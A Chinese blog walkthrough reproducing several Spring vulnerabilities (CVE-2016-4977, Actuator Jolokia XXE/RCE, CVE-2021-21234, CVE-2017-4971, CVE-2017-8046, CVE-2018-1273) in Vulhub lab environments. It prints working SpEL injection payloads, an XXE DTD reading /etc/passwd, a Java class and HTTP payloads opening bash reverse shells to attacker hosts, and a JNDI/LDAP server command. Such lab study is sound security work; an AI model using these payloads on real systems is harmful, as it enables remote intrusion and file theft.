[Vulhub] Spring漏洞复现


Spring Security OAuth2 RCE(CVE-2016-4977)

0x00 漏洞描述

Spring Security OAuth 支持使用标准 Spring 和 Spring Security 编程模型和配置习惯用法与 OAuth (1a) 和 OAuth2 一起使用 Spring Security。

在使用白标签视图进行错误处理时,远程攻击者可以通过 Springs 表达式语言 (SpEL) 构造恶意参数来执行命令。


0x01 影响版本

2.0.0 - 2.0.9
1.0.0 - 1.0.5


0x02 漏洞分析

漏洞的触发点是对用户传参的递归解析,从而导致SpEL注入,由于程序使用Whitelabel作为视图来返回错误页面,而Whitelabel对错误的处理方法中对表达式的递归处理使用户可控的部分也会被当作表达式执行。

源码分析:https://paper.seebug.org/70/


0x03 漏洞复现

访问http://your-ip:8080/oauth/authorize输入admin/admin认证登录:
在这里插入图片描述
请求http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test,SpEL 表达式${233*233}已成功执行并返回结果。
在这里插入图片描述
使用poc.py生成一个exp:

#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 
poc += ')}'
print(poc)

在这里插入图片描述
访问后成功得到反弹shell:
在这里插入图片描述


Spring-Boot-Actuator 配置不当导致 XXE & RCE

0x00 漏洞描述

Actuator 是 Spring Boot 提供的服务监控和管理中间件。当 Spring Boot 应用程序运行时,它会自动将多个端点注册到路由进程中。而由于对这些端点的错误配置,就有可能导致一些系统信息泄露、XXE、甚至是 RCE 等安全问题。

如果网站图片是一个树叶或特殊的报错页面则判断网站使用了spring boot框架:
在这里插入图片描述


0x01 影响版本

Spring Boot < 1.5 默认未授权访问所有端点
Spring Boot >= 1.5 默认只允许访问/health/info端点,但是此安全性通常被应用程序开发人员禁用

Spring Boot 1.x版本端点在根URL下注册;
Spring Boot 2.x版本端点移动到/actuator/路径。


0x02 漏洞分析

大多数Actuator仅支持GET请求并仅显示敏感的配置数据,如果使用了不当的Jolokia端点,可能会产生XXE、甚至是RCE安全问题。

Spring boot 会把 !/ 解析成 /,所以我们只要署恶意脚本,让被攻击服务器访问就会触发漏洞。查看/jolokia/list中存在的 Mbeans,是否存在logback库提供的reloadByURL方法

reloadByURL方法,允许远程加载logback.xml 配置文件,并且解析 xml 文件未做任何过滤措施,导致了xxe漏洞。

源码分析:https://www.hacking8.com/bug-product/Spring-Boot/Spring-Boot-Actuator-jolokia-XXE.html


0x03 漏洞复现

访问/trace端点获取到近期服务器收到的请求信息,如果存在登录用户的操作请求,可以伪造cookie进行登录:
在这里插入图片描述
访问/env端点获取环境属性:
在这里插入图片描述查看/jolokia/list 中存在的 Mbeans是否存在reloadByURL方法:
在这里插入图片描述
XXE:
创建logback.xml和fileread.dtd文件放到远程服务器上:
logback.xml:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://x.x.x.x/fileread.dtd">%remote;%int;]>
<a>&trick;</a>

fileread.dtd:

<!ENTITY % d SYSTEM "file:///etc/passwd"> 
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

访问/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps地址!/logback.xml,成功读取/etc/passwd文件内容:

在这里插入图片描述
RCE:
在logback.xml中使用insertFromJNDI标签,这个标签允许我们从 JNDI 加载变量,导致了rce漏洞产生。

保存以下代码为TouchFile.java文件:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/your-ip/9999 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译生成class文件,与xml文件保存在同一目录:

<configuration>
  <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TouchFile" as="appName" />
</configuration>

开启http服务:
在这里插入图片描述
使用marshalsec项目,开启RMI服务,监听9999端口,并制定加载远程类:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-ip/#TouchFile 1389

在这里插入图片描述访问/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps地址!/ian.xml触发漏洞反弹shell:
在这里插入图片描述

注:如果目标成功请求了 ian.xml 并且 marshalsec 也接收到了目标请求,但是目标没有请求 TouchFile.class,大概率是因为目标环境的 jdk 版本太高,导致 JNDI 利用失败。


Spring-Boot-Actuator-logview 文件包含(CVE-2021-21234)

0x00 漏洞描述

spring-boot-actuator-logview 在一个库中添加了一个简单的日志文件查看器作为 spring boot 执行器端点。在 0.2.13 版本之前的 spring-boot-actuator-logview 中存在目录遍历漏洞。该库的本质是通过 admin(spring boot 执行器)HTTP 端点公开日志文件目录。要查看的文件名和基本文件夹(相对于日志文件夹根)都可以通过请求参数指定。虽然检查了文件名参数以防止目录遍历攻击(因此filename=../somefile 将不起作用),但没有充分检查基本文件夹参数,因此filename=somefile&base=../ 可以访问日志记录基本目录之外的文件)。


0x01 影响版本

Spring-Boot-Actuator-logview < 0.2.13


0x02 漏洞分析

漏洞触发的主要原因是 view 函数中只对 filename 参数进行合法性校验,限制了 filename 参数中禁止出现..的目录穿越符,但没有对 base 参数进行合法性校验,因此虽然检查了文件名参数防止目录遍历,但没有充分检查文件夹参数,所以可以访问日志记录基本目录之外的文件。

源码分析:https://blog.csdn.net/qq_34101364/article/details/119333024


0x03 漏洞复现

POC如下:

http://your-ip/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../../../

访问验证,成功读取到/etc/passwd文件
在这里插入图片描述


Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

0x00 漏洞描述

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。


0x01 影响版本

Spring WebFlow 2.4.0 - 2.4.4


0x02 漏洞分析

在订阅图书处存在一个命令执行,漏洞触发的原因就是在view-state节点中数据绑定上,直接调用了两个函数addDefaultMappingsaddModelBindings

而直接控制field值的函数是addDefaultMappings,且未做过滤,addModelBindings函数是直接获取的java的一个配置文件,由配置文件来确定是否有binder节点,如果有,就无法触发代码执行。所以触发条件有两个:

  1. 在 webflow 配置文件中 view-state 节点中指定了 model 属性,并且没有指定绑定的参数,即 view-state 中没有配置 binder 节点(即 binder 节点为空);
  2. MvcViewFactoryCreator 类中 useSpringBeanBinding 默认值(false)未修改。

源码分析:https://paper.seebug.org/322/


0x03 漏洞复现

访问http://your-ip:8080/login,用页面左边给出的任意一个账号/密码登录系统:
在这里插入图片描述然后访问id为1的酒店http://your-ip:8080/hotels/1,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):
在这里插入图片描述再点击确认“Confirm”并抓包:
在这里插入图片描述
抓包添加恶意payload,反弹一个shell(注意将&符url编码):

_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub

在这里插入图片描述
成功执行,得到shell:
在这里插入图片描述


Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

0x00 漏洞描述

Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中,path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。


0x01 影响版本

Spring Data REST 2.5.12, 2.6.7, 3.0 RC3之前的版本
Spring Boot 2.0.0M4之前的版本
Spring Data release trains Kay-RC3之前的版本


0x02 漏洞分析

首先PATCH请求方法,主要功能是做修补,按照JSON-PATCH官方的定义:
例如原数据如下:

{
  "baz": "qux",
  "foo": "bar"
}

发送如下PATCH请求:

[
  { "op": "replace", "path": "/baz", "value": "boo" },
  { "op": "add", "path": "/hello", "value": ["world"] },
  { "op": "remove", "path": "/foo" }
]

一开始的数据就会变成:

{
  "baz": "boo",
  "hello": ["world"]
}

可以这样简单理解:op是一种操作标识,比如增删改查;path是修改的key,value是修改的value.

而在影响版本中的 REST API 的PATCH方法中 path 值被传入spel的setValue方法,造成RCE。

源码分析:https://www.cnblogs.com/trevain/p/15232017.html


0x03 漏洞复现

访问http://your-ip:8080/即可看到json格式的返回值,说明这是一个Restful风格的API服务器:
在这里插入图片描述
访问http://your-ip:8080/customers/1,看到一个资源。我们使用PATCH请求来修改之:
先将shell命令进行编码:http://www.jackson-t.ca/runtime-exec-payloads.html
在这里插入图片描述
转ASCII码:

str1=str(input("input: "))
str2=[]
for i in str1:
    str2.append(ord(i))
print(str2)

在这里插入图片描述
请求包如下:

PATCH /customers/1 HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 474

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98, 97, 115, 104, 32, 45, 99, 32, 123, 101, 99, 104, 111, 44, 89, 51, 86, 121, 98, 67, 66, 103, 100, 50, 104, 118, 89, 87, 49, 112, 89, 67, 53, 111, 101, 72, 82, 49, 100, 72, 69, 117, 90, 71, 53, 122, 98, 71, 57, 110, 76, 109, 78, 117, 125, 124, 123, 98, 97, 115, 101, 54, 52, 44, 45, 100, 125, 124, 123, 98, 97, 115, 104, 44, 45, 105, 125}))/lastname", "value": "vulhub" }]						

在这里插入图片描述
DNSlog平台验证:
在这里插入图片描述
反弹shell的话将bytecode改成反弹shell的命令即可。


Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

0x00 漏洞描述

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。


0x01 影响版本

Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 – 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 – 3.0.5 (Kay SR5)


0x02 漏洞分析

该漏洞是由前端参数传入后台,后台框架使用SpEL表达式处理未校验的恶意字符串所引起的,攻击者可以注入恶意SpEL表达式以执行任意命令。

源码分析:https://www.freebuf.com/vuls/246621.html


0x03 漏洞复现

环境搭建完成后,访问http://your-ip:8080/users,可看到一个用户注册页面:
在这里插入图片描述
参考前面链接中的Payload,在注册的时候抓包,并修改成如下数据包:

POST /users?page=&size=5 HTTP/1.1
Host: your-ip:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

用DNSlog平台验证,对于java反弹shell的poc都需要先编码,不然不会成功:
在这里插入图片描述
修改请求包替换执行的命令访问:
在这里插入图片描述
查看DNSlog平台返回结果:
在这里插入图片描述
反弹shell只需将命令修改后编码替换即可:

bash -i >& /dev/tcp/ip/port 0>&1

参考链接:
https://paper.seebug.org/70/(Spring Security OAuth RCE (CVE-2016-4977) 漏洞分析)
https://www.freebuf.com/column/234266.html(Spring Boot Actuator 漏洞利用)
https://www.hacking8.com/bug-product/Spring-Boot/(Spring Boot Actuator jolokia 配置不当导致的rce漏洞)
https://nvd.nist.gov/vuln/detail/CVE-2021-21234(CVE-2021-21234 详细信息)
https://paper.seebug.org/322/(CVE-2017-4971)
https://www.cnblogs.com/trevain/p/15232017.html(CVE-2017-8046)
https://www.freebuf.com/vuls/246621.html(CVE-2018-1273)

复现vulhub漏洞,你可以按照以下步骤进行操作: 1. 首先,你需要下载vulhub。你可以在vulhub的官方网站(https://vulhub.org)上找到下载链接,或者在GitHub上(https://github.com/vulhub/vulhub/)下载。 2. 下载并安装vulhub后,进入vulhub的docker目录中的unauthorized-rce环境。你可以使用以下命令进入该目录: ``` cd /vulhub/docker/unauthorized-rce ``` 3. 接下来,你可以参考一些博客或文章中的指导来复现相应的漏洞。例如,你可以参考@Camelus的博客中关于Spring RCE漏洞CVE-2022-22965的复现分析(链接:https://blog.csdn.net/Camelus/article/details/125401858)。 4. 在复现之前,你可以使用nmap进行扫描,以发现目标IP和端口。这将帮助你确定你要攻击的目标。 5. 通过浏览器访问目标IP和端口后,你可以观察到页面的响应。这将是你进行攻击的起点。 6. 根据网络上对该漏洞的介绍,你可以使用Burp Suite等工具抓包,并在请求中将host字段设置为空,然后输入相应的绝对路径来发送数据包。这将触发相应的漏洞复现。 请注意,复现漏洞是一项敏感工作,需要获得授权并遵守法律和道德规范。在进行任何安全测试之前,请确保获得合法的许可,并且只在授权的范围内进行操作。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [vluhub之docker-unauthoriun-rce复现](https://blog.csdn.net/weixin_45006525/article/details/119481469)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [vluhub漏洞复现笔记:CVE-2022-22965:Spring Framework](https://blog.csdn.net/weixin_46497491/article/details/128951211)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [vulhub漏洞复现1](https://blog.csdn.net/xhscxj/article/details/124895968)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值